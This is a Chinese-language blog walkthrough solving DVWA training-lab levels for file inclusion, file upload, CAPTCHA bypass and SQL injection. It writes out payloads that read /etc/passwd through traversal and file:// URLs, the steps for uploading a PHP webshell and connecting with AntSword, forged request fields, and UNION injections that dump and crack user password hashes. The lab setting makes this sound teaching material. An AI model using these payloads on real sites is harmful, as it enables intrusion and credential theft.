拖了一周今天补上

声明、安装、攻略视频在攻略一中有写这里不多赘述

File Inclusion(文件包含)

Low:

先看一下目的:

查看一下源码:

可以看到,网站并没有对gte传参做任何过滤和检查,这就意味着我们可以查看web服务器上的敏感信息http://[IP]/DVWA/vulnerabilities/fi/?page=/etc/passwd

我们的目的是查hackable/flags/fi.php这个文件中的五句话,访问看看:

现在就显示1、2、4这三句话我们查看网页源码:

这里可以看到第5句话,但依旧不显示第三句话,通过查看服务器上的源文件发现第三句话的变量内容被替换了:

除了查看源文件以外没什么办法了,我都试过。你可以尝试制作一句话木马,然后让服务器访问这个木马实现shell反弹,从而进入服务器中查看源文件。这里作者比较懒就不演示了,弱智都会。

另外网页中只显示三个文件,但是你可以访问file4.php会看到

Medium:

首先查看源码:

他做了"http://" "https://""../""..\\"的检查,但是没屁用,我们可以这样访问:

http://[IP]/DVWA/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

在http中间添加http

http://[IP]/DVWA/vulnerabilities/fi/?page=..././..././hackable/flags/fi.php

这个同理 ../ 两点中间添加 ../,另外他并没有不允许从服务器根目录下访问任何文件例如:

http://[IP]/DVWA/vulnerabilities/fi/?page=/etc/passwd

High:

先查看源码:

fnmatch( "file*", $file ):使fnmatch函数检$file是否file开头。

$file != "include.php":检$file是否等include.php

$file既不file开头,也不include.php,则输出错误信息并终止脚本。

可以通file协议可以继续访问敏感文件:

http://[IP]/DVWA/vulnerabilities/fi/?page=file:///etc/passwd

访问目标文件:

http://[IP]/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php

Vulnerability: File Upload(文件上传)

Low:

老样子做题先看目的:

看一下源码:

没有什么验证判断,上一句话木马,创建1.php文件,在其中添加如下内容:

注意attack是连接密码,然后保存上传。

随后访问,使用中国蚁剑连接

http://vincentcassano.cn/archives/zgyj-install-jc

右键添加数据,填写URL地址http://[IP]/DVWA/hackable/uploads/1.php连接密码attack

点击添加,接下来为所欲为了,虚拟终端,文件管理都可进行操作。

Medium:

先看源码:

这里对上传文件的类型进行了验证,这个简单,使用burp拦包然后修改请求中的文件类型即可。

打开burp,有些操作之前做过,这里不过多赘述。

将红框处的内容修改为image/jpeg然后点击Forward放包。

上传成功,使用中国蚁剑连接。

High:

先看源码:

这里再上一题的基础上添加了文件末尾的文件类型检查

我们先准备一张图片,然后打开kali终端,将木马文件与图片做一个拼接操作

在终端中输入cat flag.png 10.php >> flag10.png

我们在VSCode中打开这个文件,使用十六进制编辑器查看,没有就去装!

可以看到文件末尾有如下内容:

然后上传flag1.png文件,目前没有办法直接连接,因为上传的是图片文件无法使用php解析运行此文件,但是可以通过其他地方执行命令修改文件后缀,但是很傻,因为你都进去了,有权限修改文件了,还去改文件后缀干嘛。这里不讲了。

Insecure CAPTCHA(不安全的验证方式)

Low:

先看目的:

源码:

  <?php

if (isset($_POST["Change"]) && $_POST["step"] == "1") {
  // Hide the CAPTCHA form
  $hide_form = true;

  // Get input
  $pass_new = $_POST["password_new"];
  $pass_conf = $_POST["password_conf"];

  // Check CAPTCHA from 3rd party
  $resp = recaptcha_check_answer($_DVWA["recaptcha_private_key"], $_POST["g-recaptcha-response"]);

  // Did the CAPTCHA fail?
  if (!$resp) {
    // What happens when the CAPTCHA was entered incorrectly
    $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
    $hide_form = false;
    return;
  } else {
    // CAPTCHA was correct. Do both new passwords match?
    if ($pass_new == $pass_conf) {
      // Show next stage for the user
      echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
    } else {
      // Both new passwords do not match.
      $html .= "<pre>Both passwords must match.</pre>";
      $hide_form = false;
    }
  }
}

if (isset($_POST["Change"]) && $_POST["step"] == "2") {
  // Hide the CAPTCHA form
  $hide_form = true;

  // Get input
  $pass_new = $_POST["password_new"];
  $pass_conf = $_POST["password_conf"];

  // Check to see if both password match
  if ($pass_new == $pass_conf) {
    // They do!
    $pass_new =
      isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new)
        : (trigger_error(
          "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",
          E_USER_ERROR
        )
          ? ""
          : "");
    $pass_new = md5($pass_new);

    // Update database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    ($result = mysqli_query($GLOBALS["___mysqli_ston"], $insert)) or
      die(
        "<pre>" .
          (is_object($GLOBALS["___mysqli_ston"])
            ? mysqli_error($GLOBALS["___mysqli_ston"])
            : (($___mysqli_res = mysqli_connect_error())
              ? $___mysqli_res
              : false)) .
          "</pre>"
      );

    // Feedback for the end user
    echo "<pre>Password Changed.</pre>";
  } else {
    // Issue with the passwords matching
    echo "<pre>Passwords did not match.</pre>";
    $hide_form = false;
  }

  is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])) ? false : $___mysqli_res;
}

?>

第一部分:

1. 检查表单提交

- 使isset($_POST['Change'])检查是否提交了表单。

- 检$_POST['step']是否等1,表示当前处于第一步。

2. 隐藏表单

- 设$hide_form = true,表示隐藏 CAPTCHA 表单。

3. 获取用户输入

- 获取用户输入的新密$_POST['password_new']和确认密$_POST['password_conf']

4. 验证 CAPTCHA

- 调recaptcha_check_answer函数验证 CAPTCHA,传入私钥和用户提交的 CAPTCHA 响应。

- 如果 CAPTCHA 验证失败,显示错误信息并返回。

5. 验证密码匹配

- 如果 CAPTCHA 验证成功,检查新密码和确认密码是否匹配。

- 如果匹配,显示下一步的表单,让用户确认更改。

- 如果不匹配,显示错误信息。

第二部分:

1. 检查表单提交

- 使isset($_POST['Change'])检查是否提交了表单。

- 检$_POST['step']是否等2,表示当前处于第二步。

2. 隐藏表单

- 设$hide_form = true,表示隐藏 CAPTCHA 表单。

3. 获取用户输入

- 获取用户输入的新密$_POST['password_new']和确认密$_POST['password_conf']

4. 验证密码匹配

- 检查新密码和确认密码是否匹配。

- 如果匹配,对新密码进行转义和哈希处理。

- 更新数据库中的用户密码。

- 如果不匹配,显示错误信息。

5. 关闭数据库连接

- 使mysqli_close关闭数据库连接。

这里我们使HackBar插件或者Burp工具修Post请求。

Burp这里就不掩饰了,搞得头有点大,由于Google验证是国外服务需要挂梯子,我本机当然可以翻,但是我用Burp却不行,我怎么设置代理都不起作用。要么可以访问google不能访问DVWA,要么能访问DVWA却又不能调用Google验证的api。

我们不进行人机验证,输入新密码,然后点Change,再打HackBar并点LOAD

Bodystep的值改2,从而跳过人机验证

Medium:

源码:

<?php

if (isset($_POST["Change"]) && $_POST["step"] == "1") {
  // Hide the CAPTCHA form
  $hide_form = true;

  // Get input
  $pass_new = $_POST["password_new"];
  $pass_conf = $_POST["password_conf"];

  // Check CAPTCHA from 3rd party
  $resp = recaptcha_check_answer($_DVWA["recaptcha_private_key"], $_POST["g-recaptcha-response"]);

  // Did the CAPTCHA fail?
  if (!$resp) {
    // What happens when the CAPTCHA was entered incorrectly
    $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
    $hide_form = false;
    return;
  } else {
    // CAPTCHA was correct. Do both new passwords match?
    if ($pass_new == $pass_conf) {
      // Show next stage for the user
      echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
    } else {
      // Both new passwords do not match.
      $html .= "<pre>Both passwords must match.</pre>";
      $hide_form = false;
    }
  }
}

if (isset($_POST["Change"]) && $_POST["step"] == "2") {
  // Hide the CAPTCHA form
  $hide_form = true;

  // Get input
  $pass_new = $_POST["password_new"];
  $pass_conf = $_POST["password_conf"];

  // Check to see if they did stage 1
  if (!$_POST["passed_captcha"]) {
    $html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
    $hide_form = false;
    return;
  }

  // Check to see if both password match
  if ($pass_new == $pass_conf) {
    // They do!
    $pass_new =
      isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new)
        : (trigger_error(
          "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",
          E_USER_ERROR
        )
          ? ""
          : "");
    $pass_new = md5($pass_new);

    // Update database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    ($result = mysqli_query($GLOBALS["___mysqli_ston"], $insert)) or
      die(
        "<pre>" .
          (is_object($GLOBALS["___mysqli_ston"])
            ? mysqli_error($GLOBALS["___mysqli_ston"])
            : (($___mysqli_res = mysqli_connect_error())
              ? $___mysqli_res
              : false)) .
          "</pre>"
      );

    // Feedback for the end user
    echo "<pre>Password Changed.</pre>";
  } else {
    // Issue with the passwords matching
    echo "<pre>Passwords did not match.</pre>";
    $hide_form = false;
  }

  is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])) ? false : $___mysqli_res;
}

?>

在上一题解法的基础上我们添加passed_captcha并将值设置为true

最后点击EXECYTE

High:

源码:

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            echo "<pre>Password Changed.</pre>";

        } else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }

    } else {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high 级别的验证resp(谷歌验证码返回的结果)是 false,并且参数 g-recaptcha-response 不等于 hidd3n_valu3http 包头的 User-Agent 参数不等于 reCAPTCHA 时认为验证码输入错误,反之则认为已经通过了验证码的检查。

g-recaptcha-responseUser-Agent 头都是可控的,抓包改包即可绕过

Body中添加&Change=Change&g-recaptcha-response=hidd3n_valu3

然后User-Agent的值设置为reCAPTCHA

然后点击EXECUTE

SQL Injection(SQL注入)

Low:

先看以下目的:

这题是要我们获取数据库内五个用户的密码,接着看一下源码:

没什么阻拦,我们尝试一下最简单最常用的SQL注入测试1' or '1'='1

在代码执行中会显示如下命令:

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';

现在知道五个账户的名字了,我们看看有几列:

' or 1 = 1 order by 1 #    //有回显
' or 1 = 1 order by 2 #    //有回显
' or 1 = 1 order by 3 #    //报错

这表示该表格的前两列是可控的,接下来查询一下当前数据库名称:1' union select database(),database()#

数据库名为dvwa,下面我们要获取表名1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显中显示有俩个张表分别是usersguestbook,我们的任务是获取5个用户的密码。

这里我们查users表有哪些字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #

字段有user_id , first_name , last_name , user , password , avatar , last_login , failed_login

我们查password字段的值1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: admin
Surname: admin

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Gordon
Surname: Brown

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Hack
Surname: Me

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Pablo
Surname: Picasso

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Bob
Surname: Smith

ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: 1,2,3,4,5
Surname: 21232f297a57a5a743894a0e4a801fc3, e99a18c428cb38d5f260853678922e03, 8d3533d75ae2c3966d7e0d4fcc69216b, 0d107d09f5bbe40cade3de5c71e9e9b7, 5f4dcc3b5aa765d61d8327deb882cf99

很好,但是获取到的是加密后的,将这个密文提交给AI判断发现是md5加密,我们打开下面的链接(随便哪个)解密密文。

https://www.cmd5.com/default.aspxhttps://www.somd5.com/

查询结果:admin abc123 charley letmein password

Medium:

先看源码:

其实从页面上就能看出了,他把输入框禁用了:

这里我们使用burp工具拦包改包

id1修改1 or 1 = 1 #,后面&Submit=Submit不做修改,然后点Forward执行成功

这里不过多赘述了,直接查user表中password字段:1 or 1 = 1 union select group_concat(user_id),group_concat(password) from users #

High:

先看源码:

就是打开个窗口换个地方注入罢了,执行:1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #依旧可以


攻略二到此结束,下期不知道什么时候更新